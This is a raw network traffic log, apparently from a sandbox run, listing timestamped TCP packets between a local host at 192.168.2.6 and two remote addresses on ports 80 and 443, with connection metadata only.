Nov 12, 2024 13:35:13.850491047 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.850493908 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.850500107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.850522995 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.850536108 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.894903898 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.894994020 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.894995928 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895008087 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895047903 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.895153046 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895165920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895199060 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.895227909 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.895445108 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895456076 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895474911 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895484924 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895492077 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.895514965 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.895545959 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.895632982 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895678043 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.895797014 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895807981 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895821095 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895833969 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895844936 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895854950 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.895860910 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.895878077 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.895885944 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.895921946 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.896265030 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.896276951 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.896287918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.896298885 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.896306038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.896310091 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.896322012 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.896343946 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.896369934 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.896785021 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.896796942 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.896806955 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.896819115 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.896835089 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.896837950 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.896862984 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.896878958 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.920439005 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.920465946 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.920569897 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.920615911 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.920663118 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.938208103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.938261032 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.938272953 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.938287020 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.938321114 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.938939095 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.938951015 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.938962936 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.938997984 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.939009905 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.943013906 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.943082094 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.943104029 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.943115950 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.943150043 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.943166971 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.966027975 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.966121912 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.966137886 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.966150999 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.966181993 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.966202974 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.966444016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.966455936 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.966469049 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.966490984 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.966500998 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.966502905 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.966520071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.966536045 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.966550112 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.966569901 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.966943026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.966954947 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.966968060 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.966979980 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.966991901 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.967003107 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.967003107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.967041016 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.967518091 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.967526913 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.967539072 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.967552900 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.967562914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.967569113 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.967575073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.967585087 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.967600107 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.967607021 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.967637062 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.968067884 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.968086004 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.968097925 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.968110085 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.968117952 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.968122959 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.968132019 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.968137980 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.968169928 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.968193054 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.008553028 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.008657932 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.008816957 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.008887053 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.012332916 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.012396097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.012396097 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.012407064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.012439966 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.012561083 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.012573004 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.012583971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.012609959 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.012641907 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.012773037 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.012820959 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.012862921 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.012876034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.012888908 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.012900114 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.012912035 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.012912989 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.012947083 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.012962103 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.013302088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.013350964 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.013396978 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.013408899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.013422012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.013446093 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.013469934 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.013639927 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.013686895 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.013695002 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.013708115 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.013720036 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.013736963 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.013744116 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.013747931 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.013748884 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.013771057 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.013796091 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.014250994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.014264107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.014276981 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.014291048 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.014302015 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.014302969 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.014312983 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.014313936 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.014349937 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.037599087 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.037646055 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.037710905 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.037744045 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.037759066 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.037786961 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.038862944 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.038877010 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.038927078 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.038933992 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.038969994 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.055840969 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.055937052 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.056020975 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.056032896 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.056066036 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.056082964 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.056416035 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.056462049 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.056489944 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.056500912 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.056535006 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.056550026 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.060506105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.060573101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.060578108 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.060674906 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.060705900 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.060743093 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.083712101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.083723068 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.083733082 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.083822012 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.083844900 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.083857059 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.083867073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.083868027 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.083909035 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.084083080 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.084125042 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.084214926 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.084228039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.084261894 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.084431887 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.084443092 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.084453106 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.084476948 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.084490061 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.084681034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.084692955 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.084703922 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.084714890 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.084722042 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.084727049 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.084758043 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.084790945 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.084790945 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.085238934 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.085251093 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.085262060 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.085273981 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.085283995 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.085285902 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.085316896 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.085333109 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.085684061 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:14.085724115 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:14.155740976 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.155782938 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.155831099 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.155859947 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.155884027 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.155903101 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.272545099 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.272564888 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.272641897 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.272670031 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.272712946 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.388864994 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.388900995 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.388976097 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.388994932 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.389009953 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.389039993 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.390556097 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.390573978 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.390647888 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.390655041 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.390717030 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.505916119 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.506023884 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.506030083 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.506092072 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.506222963 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.506244898 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.506257057 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.506262064 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.577045918 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.577114105 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.577203989 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.579929113 CET	49713	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.579993010 CET	443	49713	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.580061913 CET	49713	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.580539942 CET	49714	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.580550909 CET	443	49714	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.580615044 CET	49714	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.581235886 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.581244946 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.581304073 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.582436085 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.582467079 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.582540035 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.583174944 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.583188057 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.583349943 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.583367109 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.583467960 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.583486080 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.583579063 CET	49713	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.583590984 CET	443	49713	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:14.583695889 CET	49714	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:14.583708048 CET	443	49714	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.307826996 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.313349009 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.323966026 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.325932026 CET	443	49714	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.339772940 CET	49714	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.339792013 CET	443	49714	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.340328932 CET	49714	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.340334892 CET	443	49714	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.342976093 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.343020916 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.343422890 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.343429089 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.345812082 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.345824957 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.346230030 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.346234083 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.360997915 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.361025095 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.361572981 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.361577034 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.361783028 CET	443	49713	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.362210035 CET	49713	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.362216949 CET	443	49713	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.362709045 CET	49713	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.362713099 CET	443	49713	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.467741966 CET	443	49714	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.467859030 CET	443	49714	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.467920065 CET	49714	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.472332001 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.472388983 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.472450972 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.473120928 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.473155022 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.473206997 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.473212004 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.473256111 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.492115021 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.492134094 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.492213964 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.492224932 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.494724989 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.494805098 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.510673046 CET	443	49713	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.510739088 CET	443	49713	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.510812998 CET	49713	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.510823011 CET	443	49713	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.510867119 CET	49713	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.510936975 CET	443	49713	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.510999918 CET	49713	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.562122107 CET	49714	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.562135935 CET	443	49714	13.107.246.45	192.168.2.6
